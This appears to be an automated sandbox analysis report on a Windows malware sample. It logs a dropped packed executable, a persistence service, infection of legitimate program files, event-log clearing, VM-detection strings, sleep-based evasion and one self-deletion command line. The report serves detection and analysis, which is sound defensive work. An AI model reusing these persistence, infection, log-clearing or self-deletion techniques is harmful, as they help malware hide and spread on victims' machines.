Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: loadperf.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Section loaded: ntmarta.dll	Jump to behavior

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\wbem\WMIADAP.exe

File written: C:\Windows\System32\wbem\Performance\WmiApRpl_new.ini

Jump to behavior

Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\SciTE\SciTE.pdb source: SciTE.exe.1.dr
Source:	Binary string: rundll32.pdb source: svchost.exe, 00000003.00000003.1684739802.0000000002C2D000.00000004.00000020.00020000.00000000.sdmp, SySyeu.exe, SySyeu.exe, 00000007.00000000.1726094464.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, SySyeu.exe.3.dr
Source:	Binary string: rundll32.pdbGCTL source: svchost.exe, 00000003.00000003.1684739802.0000000002C2D000.00000004.00000020.00020000.00000000.sdmp, SySyeu.exe, 00000007.00000000.1726094464.0000000000E11000.00000020.00000001.01000000.00000009.sdmp, SySyeu.exe.3.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Unpacked PE file: 1.2.XekSuT.exe.3c0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;

Source: SySyeu.exe.3.dr

Static PE information: 0x6A8F1B39 [Wed Aug 26 16:58:33 2026 UTC]

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Code function: 0_2_00401B6B LoadLibraryA,GetProcAddress,__p__pgmptr,sprintf,GetCurrentProcess,SetPriorityClass,GetCurrentThread,SetThreadPriority,ShellExecuteA,

0_2_00401B6B

Source: initial sample

Static PE information: section where entry point is pointing to: /|wu>

Source: gE4NVCZDRk.exe	Static PE information: section name: /\|wu>
Source: XekSuT.exe.0.dr	Static PE information: section name: .aspack
Source: XekSuT.exe.0.dr	Static PE information: section name: .adata
Source: MyProg.exe.1.dr	Static PE information: section name: PELIB
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.1.dr	Static PE information: section name: u
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ
Source: SySyeu.exe.3.dr	Static PE information: section name: .didat

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Code function: 1_2_003C1638 push dword ptr [003C3084h]; ret	1_2_003C170E
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Code function: 1_2_003C2D9B push ecx; ret	1_2_003C2DAB
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Code function: 1_2_003C6014 push 003C14E1h; ret	1_2_003C6425
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Code function: 1_2_003C600A push ebp; ret	1_2_003C600D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_10004C68 push eax; ret	3_2_10004C86
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 3_2_10004CA0 push eax; ret	3_2_10004CCE
Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E16883 push ecx; ret	7_2_00E16896
Source: C:\Windows\SysWOW64\SySyeu.exe	Code function: 7_2_00E1682D push ecx; ret	7_2_00E16840

Source: XekSuT.exe.0.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR entropy: 6.934324181874163
Source: SciTE.exe.1.dr	Static PE information: section name: u entropy: 6.933697981349293
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ entropy: 6.933797111028876

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\svchost.exe

Executable created and started: C:\Windows\SysWOW64\SySyeu.exe

Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	File created: C:\Windows\SysWOW64\SySyeu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	File created: C:\Users\user\AppData\Local\Temp\6011859.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	File created: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe

File created: C:\Windows\SysWOW64\SySyeu.exe

Jump to dropped file

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SySyeu

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_10001A43 OpenSCManagerA,OpenServiceA,StartServiceA,GetLastError,CloseServiceHandle,QueryServiceStatus,Sleep,CloseServiceHandle,CloseServiceHandle,

3_2_10001A43

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process created: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 1 && del /f/q "C:\Users\user\Desktop\gE4NVCZDRk.exe"
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process created: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 1 && del /f/q "C:\Users\user\Desktop\gE4NVCZDRk.exe"			Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 799

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Code function: 0_2_00402400 IsIconic,

0_2_00402400

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_1000265E OpenEventLogA,ClearEventLogA,CloseEventLog,

3_2_1000265E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_10003E6B LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,

3_2_10003E6B

Source: C:\Windows\System32\wbem\WMIADAP.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\PROVIDERS\Performance Performance Data

Jump to behavior

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_0-436

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 1			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 9730	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe	Window / User API: threadDelayed 1467	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Window / User API: threadDelayed 2099	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Window / User API: threadDelayed 899	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Window / User API: threadDelayed 1299	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Window / User API: threadDelayed 771	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe	Window / User API: threadDelayed 1076	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_3-1591

Source: C:\Users\user\Desktop\gE4NVCZDRk.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\6011859.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-1053

Source: C:\Windows\SysWOW64\svchost.exe TID: 3264	Thread sleep count: 267 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 3264	Thread sleep time: -267000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 3264	Thread sleep count: 9730 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 3264	Thread sleep time: -9730000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe TID: 3624	Thread sleep count: 1467 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe TID: 3624	Thread sleep time: -733500s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe TID: 3624	Thread sleep count: 108 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\SySyeu.exe TID: 3624	Thread sleep time: -54000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 6420	Thread sleep count: 2099 > 30	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 6420	Thread sleep count: 899 > 30	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 6420	Thread sleep count: 1299 > 30	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 6420	Thread sleep count: 771 > 30	Jump to behavior
Source: C:\Windows\System32\wbem\WMIADAP.exe TID: 6420	Thread sleep count: 1076 > 30	Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C1718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 003C1754h

1_2_003C1718

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,

1_2_003C29E2

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe

Code function: 1_2_003C2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_003C2B8C

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 3_2_1000358C GetSystemInfo,wsprintfA,

3_2_1000358C

Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XekSuT.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: Amcache.hve.1.dr	Binary or memory string: VMware
Source: Amcache.hve.1.dr	Binary or memory string: VMware Virtual USB Mouse
Source: gE4NVCZDRk.exe, 00000000.00000002.1706261210.000000000067D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Y
Source: Amcache.hve.1.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.1.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.1.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.1.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.1.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.1.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: XekSuT.exe, 00000001.00000002.1891528876.0000000001581000.00000004.00000020.00020000.00000000.sdmp, XekSuT.exe, 00000001.00000002.1891528876.00000000015CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.1.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
